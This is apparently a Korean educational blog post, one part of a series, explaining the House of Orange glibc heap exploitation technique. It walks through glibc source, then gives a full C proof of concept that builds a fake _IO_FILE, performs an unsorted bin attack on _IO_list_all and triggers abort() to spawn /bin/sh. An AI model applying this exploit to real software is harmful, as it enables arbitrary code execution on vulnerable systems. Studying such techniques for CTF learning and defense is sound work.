저번까지는 가짜 구조체를 작성하는 방법에 대해 알아보았습니다. 이제는 _IO_list_all을 덮음으로서 이 가짜 구조체를 진짜라고 인식하게 하는 과정을 거쳐야합니다. _IO_list_all을 덮는 방법에 대해서는 fastbin double free, unsorted bin attack 등 여러개가 있을테지만 이번에는 unsorted bin attack을 상용할 것입니다.
여기서 1가지 문제점이 발생하는데 unsorted bin attack을 사용하여 _IO_list_all을 main_arena + 88로 덮게 되면 그 부분은 bin 관려한 정보가 있는 main_arena영역이기 때문입니다.
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
저번에 보았던 소스코드에서 조건문을 통과하지 못하면 fp = fp-> _chain 이부분에 의해 fp가 갱신되게 됩니다. 그래서 이것을 이용하여 우리가 원하는 부분으로 fp의 값을 갱신시킬 수 있습니다.
먼저 unsorted bin attack을 하기 위해 free된 청크의 bk를 _IO_list_all - 2 * SIZE_SZ로 덮습니다.
그 다음에는 top chunk의 크기를 수정해 주어야하는데 이것이 필요한 이유는 _IO_list_all을 main_arena로 덮었을때 _chain에 해당하는 부분이 smallbin[4]에 해당하는 크기입니다. 따라서 top chunk의 크기를 0x61로 수정해주어햐 합니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void sys(char* ptr){
system(ptr);
}
int main(){
char *p1_chunk = malloc(8) - 2 * 8;
size_t* top = (size_t*) (p1_chunk + 32);
size_t _IO_list_all;
top[1] = 0xfe1;
malloc(0x1000);
memcpy((char*)top,"/bin/sh\x00",8); // _IO_OVERFLOW's parameter
// fake _IO_FILE_PLUS
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0; // top +0xc0
fp->_IO_write_base = (char*)1; // top+0x20
fp->_IO_write_ptr = (char*)2; // top+0x28
*(size_t *) (((size_t)fp + sizeof(_IO_FILE))) = (size_t)&top[5];// vtable : &top[12]
top[8] =(size_t) &sys; // write _IO_OVERFLOW()
//////////////////////
// unsorted bin attack
_IO_list_all = top[2] + 0x9a8; // calculate _IO_list_all using offset
top[3] =(size_t)_IO_list_all - 16;
/////////////////////
//adjust chunk size
top[1] = 0x61;
////////////////////
}
이렇게 공격할 준비를 끝마친 뒤에 malloc()을 한번 더 호출해줌으로서 abort()가 작동하게 만들면 됩니다. 여기서 헷갈리는 부분이 있을 수 있는데, unsorted bin attack을 하기 전에 abort()가 일어나지 않나라고 생각하실 수 있습니다. 하지만
_int_malloc()중
//unsorted bin에 있는 청크들이 요청한 크기와 같은지 확인하고(재할당의 기회)맞지 않으면 청크를 크기에 맞는 bin에 넣어준다.
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
이쪽 부분에서 오류가 나게 되는데 우리의 top chunk가 인자로 들어갔을 때에는 조건문을 통과해서 smallbin[4]에 들어갑니다. 그런데 top chunk의 bk를 _IO_list_all - 0x10으로 수정을 해서 다음 for문의 인자는 _IO_list_all - 0x10가 되어서 크기에 0이 들어있어서 조건문을 통과하지 못하게 됩니다. 그래서 오류가 나게됩니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void sys(char* ptr){
system(ptr);
}
int main(){
char *p1_chunk = malloc(8) - 2 * 8;
size_t* top = (size_t*) (p1_chunk + 32);
size_t _IO_list_all;
top[1] = 0xfe1;
malloc(0x1000);
memcpy((char*)top,"/bin/sh\x00",8); // _IO_OVERFLOW's parameter
// fake _IO_FILE_PLUS
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0; // top +0xc0
fp->_IO_write_base = (char*)1; // top+0x20
fp->_IO_write_ptr = (char*)2; // top+0x28
*(size_t *) (((size_t)fp + sizeof(_IO_FILE))) = (size_t)&top[5];// vtable : &top[12]
top[8] =(size_t) &sys; // write _IO_OVERFLOW()
//////////////////////
// unsorted bin attack
_IO_list_all = top[2] + 0x9a8; // calculate _IO_list_all using offset
top[3] =(size_t)_IO_list_all - 16;
/////////////////////
//adjust chunk size
top[1] = 0x61;
////////////////////
//triger abort()
malloc(10);
}
이것을 컴파일 후 실행시키게 되면
이렇게 쉘이 따지는 것을 볼 수 있습니다. 보통은 one_gadget으로 _IO_OVERFLOW을 덮지만, 덮을 수 없는 경우에는 이렇게 /bin/sh\x00을 system()의 인자로 주면 됩니다.
(grin)
'힙(heap) > house_of_orange' 카테고리의 다른 글
house_of_orange (6) pwnable.tw - bookwriter (0) | 2019.09.10 |
---|---|
house_of_orange (5) 자동 구조체 생성기 모듈 만들기 (0) | 2019.09.09 |
house_of_orange (4) HITCON house of orange writeup (0) | 2019.09.06 |
house_of_orange (2) (0) | 2019.09.03 |
house_of_orange (1) (0) | 2019.09.01 |